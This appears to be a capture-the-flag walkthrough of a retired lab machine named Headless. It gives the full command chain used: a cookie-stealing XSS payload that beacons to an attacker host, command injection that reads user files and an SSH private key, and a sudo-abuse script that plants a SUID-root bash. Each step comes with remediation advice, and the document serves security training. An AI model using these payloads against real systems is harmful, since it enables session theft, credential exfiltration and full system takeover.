← all walkthroughs

Headless

Linux· Easy
owned
2026-07-06
time to own
6m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found only two exposed services: SSH on port 22 and a Python Flask web application on port 5000. The application's public support form logged the submitter's User-Agent header and later rendered it unsanitised in the administrator's browser, enabling a blind stored cross-site scripting attack. Submitting the form with a JavaScript beacon as the User-Agent caused the payload to fire when the admin reviewed the ticket, exfiltrating the signed admin session cookie.

With that cookie, I accessed the restricted /dashboard, whose date-check feature concatenated user input directly into a shell command. OS command injection through the date parameter executed arbitrary code as application user dvir; I then exfiltrated dvir's SSH private key for a stable interactive shell. Once on the box, I found a password-less sudo rule for /usr/bin/syscheck, which blindly executed initdb.sh from dvir's own home directory.

Overwriting that file with a malicious script and triggering syscheck via sudo ran my own commands as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped the attack surface with a port scan
A full TCP port scan of $TARGET returned exactly two open services: port 22 running OpenSSH 9.2p1 on Debian 12 (bookworm), and port 5000 running a Python Werkzeug/Flask HTTP server. The narrow attack surface pointed immediately at the web application as the primary entry point.
Exact commands 1
Full TCP scan with version and default script detection against the target.
nmap -sV -sC -p- --min-rate 5000 -oA headless_nmap $TARGET
2EnumerationWeb application content discovery (T1595.003)
Fingerprinted the Flask application and discovered key endpoints
Browsing port 5000 revealed a Flask application with two significant routes: a publicly accessible /support contact form and a /dashboard page that returned a redirect or error without an admin session. Directory fuzzing confirmed these as the primary functional endpoints, with no other high-value paths exposed.
Ffuf and curl against port 5000 identified /support and /dashboard; dirb/common.txt pass found no additional high-value paths.
Exact commands 2
Retrieve the application root to identify routes, links, and technology hints.
curl -sS -i http://$TARGET:5000/
Brute-force common paths; reveals /support and /dashboard.
ffuf -u http://$TARGET:5000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403
3ExploitationBlind stored Cross-Site Scripting via HTTP header injection (CWE-79 / T1059.007)
Stole the admin session cookie with a blind stored XSS in the User-Agent header
The /support form stored each submission's User-Agent header alongside the ticket content and displayed it — unencoded — in the administrator's review interface. By submitting the form with a JavaScript payload as the User-Agent, I caused that code to execute in the admin's browser the moment the ticket was reviewed. The payload issued an out-of-band HTTP request to my listener carrying document.cookie, delivering the admin's signed is_admin session token.
Finding: 'Initial Access: Blind Xss Steal Admin Cookie Via /Support User Agent'; captured cookie is_admin=[REDACTED: recovered credential].
Exact commands 2
Start cookie-beacon listener on my machine (run in background); replace 8080 with your chosen port.
python3 -m http.server 8080
Submit support ticket with XSS payload in User-Agent; replace $ATTACKER_IP:8080. When admin reviews the ticket the script fires and POSTs the cookie to your listener.
curl -sS -X POST http://$TARGET:5000/support -H "User-Agent: <script>var i=new Image();i.src='http://$ATTACKER_IP:8080/?c='+document.cookie</script>" --data 'fname=test&lname=test&email=test@test.com&subject=help&message=test'
FixSanitise HTTP header values before rendering them in any admin view, and harden the session cookieCritical
WeaknessThe /support form stored the raw User-Agent header from each submission and rendered it back into the administrator's browser without HTML encoding. Any visitor could craft a User-Agent containing JavaScript that would execute in the admin's session, and because the is_admin cookie lacked the HttpOnly flag, that script could read and exfiltrate it.
FixHTML-encode every stored header value before inserting it into an HTML template. In Flask/Jinja2, enable autoescape=True globally and never use the |safe filter on untrusted input. Set the is_admin session cookie with HttpOnly=True (prevents JavaScript access) and SameSite=Strict (blocks cross-site beacon requests). Additionally, add a Content-Security-Policy response header (e.g. script-src 'self') to limit where scripts may execute even if a payload lands.
4ExploitationSession token replay / cookie hijacking (T1539)
Replayed the stolen cookie to gain authenticated access to the admin dashboard
The captured is_admin cookie was a Flask-signed token encoding the string 'admin'. Replaying it in subsequent requests bypassed the dashboard's authentication check entirely, exposing a date-check feature that accepted a date string via HTTP POST and passed it to an OS-level command.
Cookie is_admin=[REDACTED: recovered credential] accepted by /dashboard with HTTP 200 and admin panel content returned.
Exact commands 1
Confirm the stolen cookie grants admin dashboard access.
curl -sS -b 'is_admin=[REDACTED: recovered credential]' http://$TARGET:5000/dashboard
5ExploitationOS command injection (CWE-78 / T1059.004)
Achieved remote code execution via OS command injection in the date parameter
The dashboard's date-check feature submitted a date value via POST and concatenated it directly into a shell command without sanitisation. Appending a semicolon and an arbitrary command (e.g. ;id) caused the server to execute both the legitimate date operation and the injected payload as the dvir OS user. This confirmed full remote code execution and allowed me to read the user flag directly from the web shell.
Curl POST with date=2023-09-15;id returned uid=1000(dvir) in the response output-content element; user flag read via date=2023-09-15;cat /home/dvir/user.txt.
Exact commands 2
Confirm command injection; response body should include uid=1000(dvir).
curl -sS --max-time 6 -b 'is_admin=[REDACTED: recovered credential]' -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;id' | sed -n '1,120p'
Read the user flag via command injection; output should be <user.txt>.
curl -sS --max-time 6 -b 'is_admin=[REDACTED: recovered credential]' -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;cat /home/dvir/user.txt' | sed -n '/output-content/,/<\/div>/p' | sed -E 's/<[^>]+>//g' | sed '/^[[:space:]]*$/d'
FixValidate the date parameter strictly and never pass user input to a shell commandCritical
WeaknessThe /dashboard date-check feature concatenated the user-supplied date value directly into an OS shell command (shell=True). Any authenticated user — or an unauthorised user with a stolen session cookie — could append arbitrary shell commands after a semicolon and execute them as the dvir OS account, which also held an SSH private key in its home directory.
FixReplace the shell-based invocation with Python's subprocess module using a list of explicit arguments and shell=False, so the input is never interpreted by a shell. Validate the date field against a strict regex (e.g. ^\d{4}-\d{2}-\d{2}$) before use and reject any value that does not match. Remove or rotate any SSH private keys belonging to service accounts; service processes should authenticate outbound via certificates or secrets managers, not private key files sitting on disk.
6Post-ExploitationSSH private key theft (T1552.004)
Exfiltrated dvir's SSH private key to establish a stable interactive shell
The curl-based command injection channel was non-interactive and unsuitable for a full privilege-escalation workflow. Using the same injection, I read dvir's SSH private key from the default ~/.ssh/id_rsa path and wrote it locally, then authenticated via SSH for a proper interactive session.
Patterns: ssh-key-theft; kill chain shows ssh -i /tmp/headless_key dvir@$TARGET used for the privilege-escalation phase.
Exact commands 2
Exfiltrate dvir's SSH private key via command injection and save it locally.
curl -sS --max-time 6 -b 'is_admin=[REDACTED: recovered credential]' -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;cat /home/dvir/.ssh/id_rsa' | sed -n '/output-content/,/<\/div>/p' | sed -E 's/<[^>]+>//g' | sed '/^[[:space:]]*$/d' > /tmp/headless_key
Set required key permissions and open an interactive SSH session as dvir.
chmod 600 /tmp/headless_key && ssh -i /tmp/headless_key -o StrictHostKeyChecking=no dvir@$TARGET
7Privilege EscalationSudo abuse — user-writable script executed in a root-owned sudo rule (T1548.003)
Escalated to root by overwriting initdb.sh executed by a password-less sudo script
As dvir, I ran sudo -l and found that dvir could execute /usr/bin/syscheck as root with no password. Inspecting the syscheck script showed it invoked initdb.sh from dvir's home directory — a file dvir owned and could freely overwrite. I replaced initdb.sh with a script that copied the root flag to /tmp and created a SUID-root copy of /bin/bash, then triggered syscheck via sudo. The payload executed as root, confirming complete system compromise.
Ssh dvir@$TARGET writes malicious initdb.sh then executes sudo /usr/bin/syscheck; root flag read from /tmp/rootflag.
Exact commands 3
Run as dvir over SSH — confirms (root) NOPASSWD: /usr/bin/syscheck.
sudo -l
Inspect the syscheck script to confirm it calls initdb.sh from a dvir-writable path.
cat /usr/bin/syscheck
Write malicious initdb.sh, trigger syscheck as root, and read the root flag. Output should be <root.txt>.
ssh -i /tmp/headless_key -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dvir@$TARGET 'cd /home/dvir && cat > initdb.sh <<"EOF"
#!/bin/bash
cat /root/root.txt > /tmp/rootflag
chmod 644 /tmp/rootflag
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x initdb.sh
sudo /usr/bin/syscheck >/tmp/syscheck.out 2>&1
cat /tmp/rootflag'
FixRemove the password-less sudo rule for syscheck and ensure root-executed scripts are root-owned and immutableCritical
WeaknessThe sudo policy granted dvir unconditional root execution of /usr/bin/syscheck with no password. That script executed initdb.sh from dvir's home directory, a path dvir fully controlled. Any compromise of the dvir account — even a low-privilege web shell — immediately translated into root access by writing a malicious initdb.sh.
FixRemove the NOPASSWD sudo entry for syscheck unless it is strictly required for automated operations. If the script must run as root, rewrite it to reference initdb.sh by an absolute path under a root-owned, non-world-writable directory (e.g. /opt/app/initdb.sh with permissions 750 root:root). Audit all sudo rules with 'sudo -l' across accounts and apply the principle of least privilege: no account should hold NOPASSWD root access to any script it can modify or replace.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
5000/tcp